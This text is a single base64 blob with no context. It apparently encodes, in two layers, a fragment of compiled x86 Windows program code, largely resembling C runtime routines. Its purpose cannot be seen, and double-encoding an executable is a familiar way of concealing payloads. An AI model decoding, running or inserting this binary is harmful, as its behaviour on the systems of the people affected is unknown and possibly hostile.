EtCRHRLQ0hWZWlrd0dCSWhOQy83QmcvNGdpRXdHQkgwamdIMExBSFVMdndBQUFJQ0x6dFB2Q1R1THpyOEFBQUNBMCsrTFRmd0pmSWhFNnltQWZRc0FkUTJOVHVDL0FBQUFnTlB2Q1hzRWkwMzhqYnlJeEFBQUFJMU80TDRBQUFDQTArNEpONHROK0lYSmRBdUpDb2xNRWZ6ckE0dE4rSXQxOEFQUmpVNEJpUXFKVERMOGkzWDBpdzZOZVFHSlBvWEpkUm83SFVncVFRQjFFb3ROL0RzTmVDdEJBSFVIZ3lWSUtrRUFBSXROL0lrSWpVSUVYMTVieWNOcUNHaDQvVUFBNkxTTC8vL281TG4vLzR0QWVJWEFkQmFEWmZ3QS85RHJCelBBUU1PTFplakhSZnorLy8vLzZOWWZBQURvell2Ly84Tm8zS2RBQU9qcnR2Ly9XYU5NS2tFQXc0di9WWXZzVVZOV1YvODFxQ3hCQU9oTHQvLy8veldrTEVFQWkvaUpmZnpvTzdmLy80dndXVms3OXcrQ2d3QUFBSXZlSzkrTlF3U0QrQVJ5ZDFmb2xDQUFBSXY0alVNRVdUdjRjMGk0QUFnQUFEdjRjd0tMeHdQSE84ZHlEMUQvZGZ6b2Rjdi8vMWxaaGNCMUZvMUhFRHZIY2tCUS8zWDg2Ri9MLy85WldZWEFkREhCK3dKUWpUU1k2RmEyLy85Wm82Z3NRUUQvZFFqb1NMYi8vNGtHZzhZRVZ1Zzl0di8vV2FPa0xFRUFpMFVJV2VzQ004QmZYbHZKdzR2L1Ztb0VhaURveWNyLy80dndWdWdXdHYvL2c4UU1vNmdzUVFDanBDeEJBSVgyZFFWcUdGaGV3NE1tQURQQVhzTnFER2lZL1VBQTZIK0svLy9vNTZuLy80TmwvQUQvZFFqbytQNy8vMW1KUmVUSFJmeisvLy8vNkFrQUFBQ0xSZVRvbTRyLy84UG94cW4vLzhPTC8xV0w3UDkxQ09pMy8vLy85OWdid1BmWVdVaGR3NHYvVll2c2kwVUlvMUFxUVFDalZDcEJBS05ZS2tFQW8xd3FRUUJkdzR2L1ZZdnNpMFVJaXczTUZVRUFWamxRQkhRUGkvRnI5Z3dEZFFpRHdBdzd4bkxzYThrTUEwMElYanZCY3dVNVVBUjBBalBBWGNQL05WZ3FRUURvd2JYLy8xbkRhaUJvdVAxQUFPaktpZi8vTS8rSmZlU0pmZGlMWFFpRCt3dC9USFFWaThOcUFsa3J3WFFpSzhGMENDdkJkR1Fyd1hWRTZGcTMvLytMK0lsOTJJWC9kUlNEeVAvcFlRRUFBTDVRS2tFQW9WQXFRUURyWVA5M1hJdlQ2RjMvLy8rTDhJUEdDSXNHNjFxTHc0UG9EM1E4ZytnR2RDdElkQnpvTzMzLy84Y0FGZ0FBQURQQVVGQlFVRkRvd1h6Ly80UEVGT3V1dmxncVFRQ2hXQ3BCQU9zV3ZsUXFRUUNoVkNwQkFPc0t2bHdxUVFDaFhDcEJBTWRGNUFFQUFBQlE2UDIwLy8rSlJlQlpNOENEZmVBQkQ0VFlBQUFBT1VYZ2RRZHFBK2gvcXYvL09VWGtkQWRRNk5EYy8vOVpNOENKUmZ5RCt3aDBDb1A3QzNRRmcvc0VkUnVMVDJDSlRkU0pSMkNEK3doMVFJdFBaSWxOME1kSFpJd0FBQUNEK3doMUxvc053QlZCQUlsTjNJc054QlZCQUlzVndCVkJBQVBLT1UzY2ZSbUxUZHhyeVF5TFYxeUpSQkVJLzBYYzY5dm9aYlQvLzRrR3gwWDgvdi8vLytnVkFBQUFnL3NJZFIvL2QyUlQvMVhnV2VzWmkxMElpMzNZZzMza0FIUUlhZ0RvWHR2Ly8xbkRVLzlWNEZtRCt3aDBDb1A3QzNRRmcvc0VkUkdMUmRTSlIyQ0Qrd2gxQm90RjBJbEhaRFBBNkd5SS8vL0RpLzlWaSt5TFJRaWpaQ3BCQUYzRGkvOVZpK3lMUlFpamNDcEJBRjNEaS85VmkreUxSUWlqZENwQkFGM0RpLzlWaSt6L05YUXFRUURvMHJQLy8xbUZ3SFFQLzNVSS85QlpoY0IwQlRQQVFGM0RNOEJkdzR2L1ZZdnNnK3dVVTFaWDZLR3ovLytEWmZ3QWd6MTRLa0VBQUl2WUQ0V09BQUFBYUNEcVFBRC9GUnpoUUFDTCtJWC9ENFFxQVFBQWl6V0U0RUFBYUJUcVFBQlgvOWFGd0ErRUZBRUFBRkRvNjdMLy84Y0VKQVRxUUFCWG8zZ3FRUUQvMWxEbzFyTC8vOGNFSlBEcFFBQlhvM3dxUVFELzFsRG93YkwvLzhjRUpOVHBRQUJYbzRBcVFRRC8xbERvckxMLy8xbWppQ3BCQUlYQWRCUm92T2xBQUZmLzFsRG9sTEwvLzFtamhDcEJBS0dFS2tFQU84TjBUemtkaUNwQkFIUkhVT2p5c3YvLy96V0lLa0VBaS9EbzViTC8vMWxaaS9pRjluUXNoZjkwS1AvV2hjQjBHWTFOK0ZGcURJMU43RkZxQVZELzE0WEFkQWIyUmZRQmRRbUJUUkFBQUNBQTZ6bWhmQ3BCQUR2RGREQlE2S0t5Ly85WmhjQjBKZi9RaVVYOGhjQjBIS0dBS2tFQU84TjBFMURvaGJMLy8xbUZ3SFFJLzNYOC85Q0pSZnovTlhncVFRRG9iYkwvLzFtRndIUVEvM1VRLzNVTS8zVUkvM1g4LzlEckFqUEFYMTVieWNPTC8xV0w3SXRGQ0ZNejIxWlhPOE4wQjR0OUREdjdkeHZvTEhyLy8yb1dYb2t3VTFOVFUxUG90WG4vLzRQRUZJdkc2enlMZFJBNzgzVUVpQmpyMm92UU9CcDBCRUpQZGZnNyszVHVpZzZJQ2tKR09zdDBBMDkxOHp2N2RSQ0lHT2psZWYvL2FpSlppUWlMOGV1MU04QmZYbHRkdzR2L1ZZdnNVMWFMZFFnejIxYzVYUlIxRUR2emRSQTVYUXgxRWpQQVgxNWJYY003ODNRSGkzME1PL3QzRytpamVmLy9haFplaVRCVFUxTlRVK2dzZWYvL2c4UVVpOGJyMVRsZEZIVUVpQjdyeW90VkVEdlRkUVNJSHV2UmczMFUvNHZHZFErS0NvZ0lRRUk2eTNRZVQzWHo2eG1LQ29nSVFFSTZ5M1FJVDNRRi8wMFVkZTQ1WFJSMUFvZ1lPL3QxaTROOUZQOTFENHRGREdwUWlGd0cvMWpwZVAvLy80Z2U2Q2w1Ly85cUlsbUpDSXZ4NjRLTC8xV0w3SXROQ0ZNejIxWlhPOHQwQjR0OUREdjdkeHZvQTNuLy8yb1dYb2t3VTFOVFUxUG9qSGovLzRQRUZJdkc2ekNMZFJBNzgzVUVpQm5yMm92UmlnYUlBa0pHT3NOMEEwOTE4enY3ZFJDSUdlakllUC8vYWlKWmlRaUw4ZXZCTThCZlhsdGR3NHYvVll2c2kwMElWalAyTzg1OEhvUDVBbjRNZy9rRGRSU2hDQ0JCQU9zb29RZ2dRUUNKRFFnZ1FRRHJHK2lHZVAvL1ZsWldWbGJIQUJZQUFBRG9EbmovLzRQRUZJUEkvMTVkdzR2L1ZZdnNpMVVJVTFaWE0vODcxM1FIaTEwTU85OTNIdWhRZVAvL2FoWmVpVEJYVjFkWFYralpkLy8vZzhRVWk4WmZYbHRkdzR0MUVEdjNkUWN6d0dhSkF1dlVpOG9QdHdabWlRRkJRVVpHWmp2SGRBTkxkZTR6d0R2ZmRkTm1pUUxvQjNqLy8yb2lXWWtJaS9IcnM0di9WWXZzaTBVSVpvc0lRRUJtaGNsMTlpdEZDTkg0U0YzRGkvOVZpK3lMUlFpRndIUVNnK2dJZ1RqZDNRQUFkUWRRNkQrZy8vOVpYY1BNaS85VmkreUQ3QlNoQkJCQkFEUEZpVVg4VTFZejIxZUw4VGtkakNwQkFIVTRVMU16LzBkWGFDenFRQUJvQUFFQUFGUC9GU1RoUUFDRndIUUlpVDJNS2tFQTZ4WC9GUmpnUUFDRCtIaDFDc2NGakNwQkFBSUFBQUE1WFJSK0lvdE5GSXRGRUVrNEdIUUlRRHZMZGZhRHlmK0xSUlFyd1VnN1JSUjlBVUNKUlJTaGpDcEJBSVA0QWcrRXJBRUFBRHZERDRTa0FRQUFnL2dCRDRYTUFRQUFpVjM0T1YwZ2RRaUxCb3RBQklsRklJczFaT0JBQURQQU9WMGtVMVAvZFJRUGxjRC9kUkNOQk1VQkFBQUFVUDkxSVAvV2kvZzcrdytFandFQUFINURhdUF6MGxqMzk0UDRBbkkzalVRL0NEMEFCQUFBZHhQbzdCb0FBSXZFTzhOMEhNY0F6TXdBQU9zUlVPaTlDd0FBV1R2RGRBbkhBTjNkQUFDRHdBaUpSZlRyQTRsZDlEbGQ5QStFUGdFQUFGZi9kZlQvZFJUL2RSQnFBZjkxSVAvV2hjQVBoT01BQUFDTE5TVGhRQUJUVTFmL2RmVC9kUXovZFFqLzFvdklpVTM0TzhzUGhNSUFBQUQzUlF3QUJBQUFkQ2s1WFJ3UGhMQUFBQUE3VFJ3UGo2Y0FBQUQvZFJ6L2RSaFgvM1gwLzNVTS8zVUkvOWJwa0FBQUFEdkxma1ZxNERQU1dQZnhnL2dDY2ptTlJBa0lQUUFFQUFCM0Z1Z3RHZ0FBaS9RNzgzUnF4d2JNekFBQWc4WUk2eHBRNlBzS0FBQlpPOE4wQ2NjQTNkMEFBSVBBQ0l2dzZ3SXo5anZ6ZEVIL2RmaFdWLzkxOVA5MURQOTFDUDhWSk9GQUFJWEFkQ0pUVXpsZEhIVUVVMVByQnY5MUhQOTFHUDkxK0ZaVC8zVWcveFZ3NEVBQWlVWDRWdWkzL2YvL1dmOTE5T2l1L2YvL2kwWDRXZWxaQVFBQWlWMzBpVjN3T1YwSWRRaUxCb3RBRklsRkNEbGRJSFVJaXdhTFFBU0pSU0QvZFFqb2d4Y0FBRm1KUmV5RCtQOTFCelBBNlNFQkFBQTdSU0FQaE5zQUFBQlRVNDFORkZIL2RSQlEvM1VnNktFWEFBQ0R4QmlKUmZRN3czVFVpelVnNFVBQVUxUC9kUlJRLzNVTS8zVUkvOWFKUmZnN3czVUhNL2JwdHdBQUFINDlnL2pnZHppRHdBZzlBQVFBQUhjVzZCY1pBQUNML0R2N2ROM0hCOHpNQUFDRHh3anJHbERvNVFrQUFGazd3M1FKeHdEZDNRQUFnOEFJaS9qckFqUC9PL3QwdFA5MStGTlg2RDZSLy8rRHhBei9kZmhYLzNVVS8zWDAvM1VNLzNVSS85YUpSZmc3dzNVRU0vYnJKZjkxSEkxRitQOTFHRkJYLzNVZy8zWHM2UEFXQUFDTDhJbDE4SVBFR1BmZUcvWWpkZmhYNkl6OC8vOVo2eHIvZFJ6L2RSai9kUlQvZFJEL2RRei9kUWovRlNEaFFBQ0w4RGxkOUhRSi8zWDA2TDZjLy85WmkwWHdPOE4wRERsRkdIUUhVT2lyblAvL1dZdkdqV1hnWDE1YmkwMzhNODNvWTJYLy84bkRpLzlWaSt5RDdCRC9kUWlOVGZEb1YzYi8vLzkxS0kxTjhQOTFKUDkxSVA5MUhQOTFHUDkxRlA5MUVQOTFET2dvL1AvL2c4UWdnSDM4QUhRSGkwMzRnMkZ3L2NuRGkvOVZpK3hSVWFFRUVFRUFNOFdKUmZ5aGtDcEJBRk5XTTl0WGkvazd3M1U2alVYNFVEUDJSbFpvTE9wQUFGYi9GU3poUUFDRndIUUlpVFdRS2tFQTZ6VC9GUmpnUUFDRCtIaDFDbW9DV0tPUUtrRUE2d1doa0NwQkFJUDRBZytFendBQUFEdkRENFRIQUFBQWcvZ0JENFhvQUFBQWlWMzRPVjBZZFFpTEI0dEFCSWxGR0lzMVpPQkFBRFBBT1YwZ1UxUC9kUkFQbGNEL2RReU5CTVVCQUFBQVVQOTFHUC9XaS9nNyt3K0Vxd0FBQUg0OGdmL3cvLzkvZHpTTlJEOElQUUFFQUFCM0UrZ3dGd0FBaThRN3czUWN4d0RNekFBQTZ4RlE2QUVJQUFCWk84TjBDY2NBM2QwQUFJUEFDSXZZaGR0MGFZMEVQMUJxQUZQb1hJLy8vNFBFREZkVC8zVVEvM1VNYWdIL2RSai8xb1hBZEJIL2RSUlFVLzkxQ1A4VkxPRkFBSWxGK0ZQb3lQci8vNHRGK0ZucmRUUDJPVjBjZFFpTEI0dEFGSWxGSERsZEdIVUlpd2VMUUFTSlJSai9kUnpvcEJRQUFGbUQrUDkxQkRQQTYwYzdSUmgwSGxOVGpVMFFVZjkxREZEL2RSam96QlFBQUl2d2c4UVlPL04wM0lsMURQOTFGUDkxRVA5MURQOTFDUDkxSFA4VktPRkFBSXY0Ty9OMEIxYm9ySnIvLzFtTHg0MWw3RjllVzR0Ti9EUE42R1JqLy8vSnc0di9WWXZzZyt3US8zVUlqVTN3NkZoMC8vLy9kU1NOVGZEL2RTRC9kUnovZFJqL2RSVC9kUkQvZFF6b0Z2Ny8vNFBFSElCOS9BQjBCNHROK0lOaGNQM0p3NHYvVll2c1ZvdDFDSVgyRDRTQkFRQUEvM1lFNkR5YS8vLy9kZ2pvTkpyLy8vOTJET2dzbXYvLy8zWVE2Q1NhLy8vL2RoVG9ISnIvLy85MkdPZ1Vtdi8vL3pib0Raci8vLzkySU9nRm12Ly8vM1lrNlAyWi8vLy9kaWpvOVpuLy8vOTJMT2p0bWYvLy8zWXc2T1daLy8vL2RqVG8zWm4vLy85MkhPalZtZi8vLzNZNDZNMlovLy8vZGp6b3habi8vNFBFUVA5MlFPaTZtZi8vLzNaRTZMS1ovLy8vZGtqb3Fwbi8vLzkyVE9paW1mLy8vM1pRNkpxWi8vLy9kbFRva3BuLy8vOTJXT2lLbWYvLy8zWmM2SUtaLy8vL2RtRG9lcG4vLy85MlpPaHltZi8vLzNabzZHcVovLy8vZG16b1lwbi8vLzkyY09oYW1mLy8vM1owNkZLWi8vLy9kbmpvU3BuLy8vOTJmT2hDbWYvL2c4UkEvN2FBQUFBQTZEU1ovLy8vdG9RQUFBRG9LWm4vLy8rMmlBQUFBT2dlbWYvLy83YU1BQUFBNkJPWi8vLy90cEFBQUFEb0NKbi8vLysybEFBQUFPajltUC8vLzdhWUFBQUE2UEtZLy8vL3Rwd0FBQURvNTVqLy8vKzJvQUFBQU9qY21QLy8vN2FrQUFBQTZOR1kvLy8vdHFnQUFBRG94cGovLzRQRUxGNWR3NHYvVll2c1ZvdDFDSVgyZERXTEJqc0ZlQjVCQUhRSFVPaWptUC8vV1l0R0JEc0ZmQjVCQUhRSFVPaVJtUC8vV1l0MkNEczFnQjVCQUhRSFZ1aC9tUC8vV1Y1ZHc0di9WWXZzVm90MUNJWDJkSDZMUmd3N0JZUWVRUUIwQjFEb1haai8vMW1MUmhBN0JZZ2VRUUIwQjFEb1M1ai8vMW1MUmhRN0JZd2VRUUIwQjFEb09aai8vMW1MUmhnN0JaQWVRUUIwQjFEb0o1ai8vMW1MUmh3N0JaUWVRUUIwQjFEb0Zaai8vMW1MUmlBN0JaZ2VRUUIwQjFEb0E1ai8vMW1MZGlRN05ad2VRUUIwQjFibzhaZi8vMWxlWGNQTXpNek16TXpNekZXTDdGWXp3RkJRVUZCUVVGQlFpMVVNalVrQWlnSUt3SFFKZzhJQkQ2c0VKT3Z4aTNVSWc4bi9qVWtBZzhFQmlnWUt3SFFKZzhZQkQ2TUVKSFB1aThHRHhDQmV5Y1BNek16TXpNek16TXpNaTFRa0JJdE1KQWozd2dNQUFBQjFQSXNDT2dGMUxnckFkQ1k2WVFGMUpRcmtkQjNCNkJBNlFRSjFHUXJBZEJFNllRTjFFSVBCQklQQ0JBcmtkZEtML3pQQXc1QWJ3TkhnZzhBQncvZkNBUUFBQUhRWWlnS0R3Z0U2QVhYbmc4RUJDc0IwM1BmQ0FnQUFBSFNrWm9zQ2c4SUNPZ0YxemdyQWRNWTZZUUYxeFFya2RMMkR3UUxyaU16TXpNek16TXpNVll2c1ZqUEFVRkJRVUZCUVVGQ0xWUXlOU1FDS0FnckFkQW1Ed2dFUHF3UWs2L0dMZFFpTC80b0dDc0IwRElQR0FRK2pCQ1J6OFkxRy80UEVJRjdKdzR2L1ZZdnNVVmFMZFF4VzZQQisvLytKUlF5TFJneFpxSUoxR2VndGJ2Ly94d0FKQUFBQWcwNE1JTGovL3dBQTZUMEJBQUNvUUhRTjZCQnUvLy9IQUNJQUFBRHI0YWdCZEJlRFpnUUFxQkFQaEkwQUFBQ0xUZ2lENFA2SkRvbEdESXRHRElObUJBQ0RaZndBVTJvQ2crRHZXd3ZEaVVZTXFRd0JBQUIxTE9oRmRQLy9nOEFnTy9CMERPZzVkUC8vZzhCQU8vQjFEZjkxRE9pT3JmLy9XWVhBZFFkVzZEcXQvLzlaOTBZTUNBRUFBRmNQaElNQUFBQ0xSZ2lMUG8xSUFva09pMDRZSy9ncnk0bE9CSVgvZmgxWFVQOTFET2lqa2YvL2c4UU1pVVg4NjA2RHlDQ0pSZ3pwUGYvLy80dE5ESVA1LzNRYmcvbitkQmFMd1lQZ0g0dlJ3Zm9Gd2VBR0F3U1ZvQ3RCQU9zRnVOQVZRUUQyUUFRZ2RCVlRhZ0JxQUZIb3BLdi8veVBDZzhRUWcvai9kQzJMUmdpTFhRaG1pUmpySFdvQ2pVWDhVUDkxREl2N2kxMElab2xkL09ncmtmLy9nOFFNaVVYOE9YMzhkQXVEVGd3Z3VQLy9BQURyQjR2REpmLy9BQUJmVzE3Snc0di9WWXZzZyt3UVUxYUxkUXd6MjFlTGZSQTc4M1VVTy90MkVJdEZDRHZEZEFLSkdEUEE2WU1BQUFDTFJRZzd3M1FEZ3dqL2dmLy8vLzkvZGh2b2wyei8vMm9XWGxOVFUxTlRpVERvSUd6Ly80UEVGSXZHNjFiL2RSaU5UZkRvd203Ly80dEY4RGxZRkErRm5BQUFBR2FMUlJTNS93QUFBR1k3d1hZMk8vTjBEenY3ZGd0WFUxYm96NGovLzRQRURPaEViUC8veHdBcUFBQUE2RGxzLy8rTEFEaGQvSFFIaTAzNGcyRncvVjllVzhuRE8vTjBNanY3ZHl6b0dXei8vMm9pWGxOVFUxTlRpVERvb212Ly80UEVGRGhkL0ErRWVmLy8vNHRGK0lOZ2NQM3BiZi8vLzRnR2kwVUlPOE4wQnNjQUFRQUFBRGhkL0ErRUpmLy8vNHRGK0lOZ2NQM3BHZi8vLzQxTkRGRlRWMVpxQVkxTkZGRlRpVjBNLzNBRS94Vnc0RUFBTzhOMEZEbGREQStGWHYvLy80dE5DRHZMZEwySkFldTUveFVZNEVBQWcvaDZENFZFLy8vL08vTVBoR2YvLy84Nyt3K0dYLy8vLzFkVFZ1ajRoLy8vZzhRTTZVLy8vLytMLzFXT